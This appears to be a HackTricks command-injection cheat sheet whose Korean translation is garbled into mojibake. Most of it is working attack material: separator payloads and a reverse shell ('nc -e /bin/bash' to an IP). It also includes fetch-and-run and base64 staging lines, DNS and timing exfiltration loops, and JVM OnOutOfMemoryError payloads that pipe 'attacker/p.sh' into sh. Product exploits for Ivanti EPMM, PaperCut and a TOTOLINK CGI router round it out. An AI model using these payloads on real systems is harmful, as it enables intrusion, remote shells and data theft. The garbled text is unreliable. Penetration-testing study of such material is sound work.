Command Injection
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
command Injection์ด๋?
command injection๋ ์ ํ๋ฆฌ์ผ์ด์ ์ ํธ์คํ ํ๋ ์๋ฒ์์ ๊ณต๊ฒฉ์๊ฐ ์์์ ์ด์์ฒด์ ๋ช ๋ น์ ์คํํ ์ ์๋๋ก ํ์ฉํ๋ค. ๊ทธ ๊ฒฐ๊ณผ ์ ํ๋ฆฌ์ผ์ด์ ๊ณผ ๊ทธ์ ์ ์ฅ๋ ๋ชจ๋ ๋ฐ์ดํฐ๊ฐ ์์ ํ ์นจํด๋ ์ ์๋ค. ์ด๋ฌํ ๋ช ๋ น์ ์คํ์ ์ผ๋ฐ์ ์ผ๋ก ๊ณต๊ฒฉ์๊ฐ ์ ํ๋ฆฌ์ผ์ด์ ์ ํ๊ฒฝ ๋ฐ ๊ธฐ๋ฐ ์์คํ ์ ๋ํ ๋ฌด๋จ ์ ๊ทผ ๋๋ ์ ์ด ๊ถํ์ ํ๋ํ ์ ์๊ฒ ํ๋ค.
Context
์
๋ ฅ์ด ์ฝ์
๋๋ ์์น์ ๋ฐ๋ผ ๋ช
๋ น์ ์คํํ๊ธฐ ์ ์ ๋ฐ์ดํ๋ก ๊ฐ์ธ์ง ์ปจํ
์คํธ๋ฅผ ์ข
๋ฃ(" ๋๋ ' ์ฌ์ฉ)ํด์ผ ํ ์ ์๋ค.
Command Injection/Execution
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2ยบ if 1ยบ finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2ยบ
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful
#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
์ ํ Bypasses
๋ง์ฝ ๋น์ ์ด arbitrary commands inside a linux machine๋ฅผ ์คํํ๋ ค๊ณ ํ๋ค๋ฉด, ์ด **Bypasses:**๋ฅผ ์ฝ์ด๋ณด๋ ๊ฒ์ด ๋์์ด ๋ ๊ฒ์ ๋๋ค.
์์
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
RewriteMap/CGI-style ์คํฌ๋ฆฝํธ์์์ Bash ์ฐ์ ํ๊ฐ
RewriteMap ํฌํผ๋ bash๋ก ์์ฑ๋ ๊ฒฝ์ฐ๊ฐ ์์ผ๋ฉฐ, ์ฟผ๋ฆฌ ํ๋ผ๋ฏธํฐ๋ฅผ ์ ์ญ ๋ณ์๋ก ๋ฐ์ด๋ฃ๊ณ ์ดํ arithmetic contexts ([[ $a -gt $b ]], $((...)), let)์์ ๋น๊ตํ๋ ๊ฒฝ์ฐ๊ฐ ์์ต๋๋ค. ์ฐ์ ํ์ฅ์ ๋ด์ฉ์ ์ฌํ ํฐํํ๋ฏ๋ก, ๊ณต๊ฒฉ์๊ฐ ์ ์ดํ๋ ๋ณ์ ์ด๋ฆ์ด๋ ๋ฐฐ์ด ์ฐธ์กฐ๊ฐ ๋ ๋ฒ ํ์ฅ๋์ด ์คํ๋ ์ ์์ต๋๋ค.
Pattern seen in Ivanti EPMM RewriteMap helpers:
- ํ๋ผ๋ฏธํฐ๊ฐ ์ ์ญ์ผ๋ก ๋งคํ๋จ (
stโgStartTime,hโtheValue). - ์ดํ ๊ฒ์ฌ:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
st=theValue๋ฅผ ์ ์กํ๋ฉดgStartTime์ด ๋ฌธ์์ดtheValue๋ฅผ ๊ฐ๋ฆฌํต๋๋ค.h=gPath['sleep 5']๋ฅผ ์ ์กํ๋ฉดtheValue๊ฐ ๋ฐฐ์ด ์ธ๋ฑ์ค๋ฅผ ํฌํจํ๊ฒ ๋๊ณ ; ์ฐ์ ๊ฒ์ฌ ์ค์sleep 5๊ฐ ์คํ๋ฉ๋๋ค(์ค์ ํ์ด๋ก๋๋ก ๊ต์ฒด).
Probe (~5s delay then 404 if vulnerable):
curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"
์ฐธ๊ณ :
- ๋ค๋ฅธ ์ ๋์ฌ ์๋์์ ๋์ผํ helper๋ฅผ ์ฐพ์๋ณด์ธ์(์:
/mifs/c/aftstore/fob/). - ์ฐ์ ์ปจํ ์คํธ์์๋ ์ ์ ์๋ ํ ํฐ์ ๋ณ์/๋ฐฐ์ด ์๋ณ์(variable/array identifier)๋ก ์ทจ๊ธํ๋ฏ๋ก, ์ด๋ ๋จ์ํ ๋ฉํ๋ฌธ์ ํํฐ๋ฅผ ์ฐํํฉ๋๋ค.
Parameters
๋ค์์ code injection ๋ฐ ์ ์ฌํ RCE ์ทจ์ฝ์ ์ ๋ ธ์ถ๋ ์ ์๋ ์์ 25๊ฐ ํ๋ผ๋ฏธํฐ์ ๋๋ค (์ถ์ฒ: link):
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
Time based data exfiltration
๋ฐ์ดํฐ ์ถ์ถ: char by char
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
user 0m0.000s
sys 0m0.000s
swissky@crashlabโธ ~ โธ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real 0m0.002s
user 0m0.000s
sys 0m0.000s
DNS based data exfiltration
https://github.com/HoLyVieR/dnsbin์ ๋๊ตฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ฉฐ, dnsbin.zhack.ca์๋ ํธ์คํ
๋์ด ์์ต๋๋ค
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
DNS ๊ธฐ๋ฐ data exfiltration์ ํ์ธํ๊ธฐ ์ํ ์จ๋ผ์ธ ๋๊ตฌ:
- dnsbin.zhack.ca
- pingb.in
ํํฐ๋ง ์ฐํ
Windows
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
Linux
Node.js child_process.exec vs execFile
JavaScript/TypeScript ๋ฐฑ์๋๋ฅผ ๊ฐ์ฌํ ๋ ์ข
์ข
Node.js child_process API๋ฅผ ์ ํ๊ฒ ๋ฉ๋๋ค.
// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* โฆ */
});
exec()๋ shell (/bin/sh -c)์ ์คํํ๋ฏ๋ก, shell์ ํน๋ณํ ์๋ฏธ๋ฅผ ๊ฐ๋ ๋ชจ๋ ๋ฌธ์(๋ฐฑํฑ, ;, &&, |, $(), โฆ)๋ ์ฌ์ฉ์ ์
๋ ฅ์ด ๋ฌธ์์ด์ ์ฐ๊ฒฐ๋ ๋ command injection์ ๋ฐ์์ํต๋๋ค.
์ํ: execFile()(๋๋ spawn()์ shell ์ต์
์์ด ์ฌ์ฉ)ํ๊ณ ๊ฐ ์ธ์๋ฅผ ๋ณ๋์ ๋ฐฐ์ด ์์๋ก ์ ๊ณตํ์ฌ shell์ด ๊ฐ์
ํ์ง ์๋๋ก ํ์ธ์:
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);
Real-world case: Synology Photos โค 1.7.0-0794 was exploitable through an unauthenticated WebSocket event that placed attacker controlled data into id_user which was later embedded in an exec() call, achieving RCE (Pwn2Own Ireland 2024).
Argument/Option injection via leading hyphen (argv, no shell metacharacters)
๋ชจ๋ injections๊ฐ shell metacharacters๋ฅผ ํ์๋ก ํ๋ ๊ฒ์ ์๋๋๋ค. ์ ํ๋ฆฌ์ผ์ด์
์ด ์ ๋ขฐํ ์ ์๋ ๋ฌธ์์ด์ ์์คํ
์ ํธ๋ฆฌํฐ์ ์ธ์๋ก ์ ๋ฌํ ๊ฒฝ์ฐ(์ฌ์ง์ด execve/execFile๋ก ์์ ์ฌ์ฉํ์ง ์์ ๋๋), ๋ง์ ํ๋ก๊ทธ๋จ์ - ๋๋ --๋ก ์์ํ๋ ์ธ์๋ฅผ ์ต์
์ผ๋ก ํด์ํฉ๋๋ค. ์ด๋ฅผ ํตํด ๊ณต๊ฒฉ์๋ ์์ ์ง์
ํ์ง ์๊ณ ๋ ๋ชจ๋๋ฅผ ์ ํํ๊ฑฐ๋ ์ถ๋ ฅ ๊ฒฝ๋ก๋ฅผ ๋ณ๊ฒฝํ๊ฑฐ๋ ์ํํ ๋์์ ์ ๋ฐํ ์ ์์ต๋๋ค.
Typical places where this appears:
- Embedded web UIs/CGI handlers๊ฐ
ping <user>,tcpdump -i <iface> -w <file>,curl <url>๋ฑ์ ๋ช ๋ น์ ๊ตฌ์ฑํ ๋. - Centralized CGI routers (์:
/cgi-bin/<something>.cgi์์topicurl=<handler>๊ฐ์ selector ํ๋ผ๋ฏธํฐ ์ฌ์ฉ) โ ์ฌ๋ฌ handler๊ฐ ๋์ผํ ์ฝํ validator๋ฅผ ์ฌ์ฌ์ฉํ๋ ๊ฒฝ์ฐ.
What to try:
- ๋ค์ด์คํธ๋ฆผ ํด์์ ํ๋๊ทธ๋ก ํด์๋๋๋ก
-/--๋ก ์์ํ๋ ๊ฐ์ ๋ฃ์ด๋ณด์ธ์. - ๋์์ ๋ณ๊ฒฝํ๊ฑฐ๋ ํ์ผ์ ์ฐ๋ ํ๋๊ทธ๋ฅผ ์
์ฉํด๋ณด์ธ์. ์:
ping:-f/-c 100000โ ์ฅ์น๋ฅผ ๊ณผ๋ถํ์ํค๊ธฐ ์ํด (DoS)curl:-o /tmp/xโ ์์ ๊ฒฝ๋ก์ ์ฐ๊ธฐ,-K <url>โ ๊ณต๊ฒฉ์ ์ ์ด config ๋ก๋tcpdump:-G 1 -W 1 -z /path/script.shโ unsafe wrappers์์ post-rotate ์คํ ๋ฌ์ฑ
- ํ๋ก๊ทธ๋จ์ด
--end-of-options๋ฅผ ์ง์ํ๋ฉด, ์๋ชป๋ ์์น์--๋ฅผ ์ ํํ๋ ๋จ์ํ ์ํ์ฑ ์ ์ฐํํด ๋ณด์ธ์.
Generic PoC shapes against centralized CGI dispatchers:
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded
# Flip options in a downstream tool via argv injection
topicurl=<handler>¶m=-n
# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;
JVM ์ง๋จ ์ฝ๋ฐฑ์ ํตํ ๋ณด์ฅ๋ exec
Any primitive that lets you inject JVM command-line arguments (_JAVA_OPTIONS, launcher config files, AdditionalJavaArguments fields in desktop agents, etc.) can be turned into a reliable RCE without touching application bytecode:
- ๋ฉํ์คํ์ด์ค๋ ํ์ ์ถ์ํ์ฌ ๊ฒฐ์ ๋ก ์ ์ถฉ๋์ ๊ฐ์ :
-XX:MaxMetaspaceSize=16m(๋๋ ์์ฃผ ์์-Xmx). ์ด๋ ๊ฒ ํ๋ฉด ์ด๊ธฐ ๋ถํธ์คํธ๋ฉ ์ค์๋OutOfMemoryError๊ฐ ๋ณด์ฅ๋ฉ๋๋ค. - ์ค๋ฅ ํ
์ ์ฐ๊ฒฐ:
-XX:OnOutOfMemoryError="<cmd>"๋๋-XX:OnError="<cmd>"๋ JVM์ด ๋น์ ์ ์ข ๋ฃ๋ ๋๋ง๋ค ์์์ OS ๋ช ๋ น์ ์คํํฉ๋๋ค. - ์ ํ์ ์ผ๋ก
-XX:+CrashOnOutOfMemoryError๋ฅผ ์ถ๊ฐํ์ฌ ๋ณต๊ตฌ ์๋๋ฅผ ๋ฐฉ์งํ๊ณ payload๋ฅผ ์ผํ์ฑ์ผ๋ก ์ ์งํ ์ ์์ต๋๋ค.
์์ payloads:
-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"
Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.
PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE
- ์ทจ์ฝํ NG/MF ๋น๋(์: 22.0.5 Build 63914)๋
/app?service=page/SetupCompleted๋ฅผ ๋ ธ์ถํฉ๋๋ค; ํด๋น ํ์ด์ง๋ฅผ ์ด๊ณ Login์ ํด๋ฆญํ๋ฉด ์๊ฒฉ ์ฆ๋ช ์์ด ์ ํจํJSESSIONID๊ฐ ๋ฐํ๋ฉ๋๋ค (์ค์ ํ๋ฆ์์์ ์ธ์ฆ ์ฐํ). - Options โ Config Editor์์
print-and-device.script.enabled=Y์print.script.sandboxed=N๋ก ์ค์ ํ์ฌ ํ๋ฆฐํฐ ์คํฌ๋ฆฝํ ์ ํ์ฑํํ๊ณ ์๋๋ฐ์ค๋ฅผ ๋นํ์ฑํํฉ๋๋ค. - ํ๋ฆฐํฐ์ Scripting ํญ์์ ์คํฌ๋ฆฝํธ๋ฅผ ํ์ฑํํ๊ณ ๊ฒ์ฆ ์ค๋ฅ๋ฅผ ํผํ๊ธฐ ์ํด
printJobHook์ ์ ์๋ ์ํ๋ก ์ ์งํ๋, ํ์ด๋ก๋๋ฅผ ํจ์ outside์ ๋์ด Apply๋ฅผ ํด๋ฆญํ๋ฉด ์ฆ์ ์คํ๋๋๋ก ํฉ๋๋ค(ํ๋ฆฐํธ ์์ ๋ถํ์):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
- ์ฝ๋ฐฑ์ reverse shell๋ก ๊ต์ฒดํ์ธ์; UI/PoC๊ฐ pipes/redirects๋ฅผ ์ฒ๋ฆฌํ์ง ๋ชปํ๋ฉด, payload๋ฅผ ํ ๋ฒ์ ๋ช ๋ น์ผ๋ก stageํ๊ณ ๋ ๋ฒ์งธ ์์ฒญ์์ execํ์ธ์.
- Horizon3์ CVE-2023-27350.py๋ auth bypass, config flips, command execution, ๋ฐ rollback์ ์๋ํํฉ๋๋ค โ ์๋น์ค๊ฐ ๋ด๋ถ์์๋ง ์ ๊ทผ ๊ฐ๋ฅํ ๋๋ ์
์คํธ๋ฆผ ํ๋ก์(์:
proxychainsโ Squid)๋ฅผ ํตํด ์คํํ์ธ์.
๋ธ๋ฃจํธํฌ์ค ํ์ง ๋ชฉ๋ก
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
References
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection
- https://portswigger.net/web-security/os-command-injection
- Extraction of Synology encrypted archives โ Synacktiv 2025
- PHP proc_open manual
- HTB Nocturnal: IDOR โ Command Injection โ Root via ISPConfig (CVEโ2023โ46818)
- Unit 42 โ TOTOLINK X6000R: Three New Vulnerabilities Uncovered
- When WebSockets Lead to RCE in CurseForge
- PaperCut NG/MF SetupCompleted auth bypass โ print scripting RCE
- CVE-2023-27350.py (auth bypass + print scripting automation)
- Unit 42 โ Bash arithmetic expansion RCE in Ivanti RewriteMap scripts
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


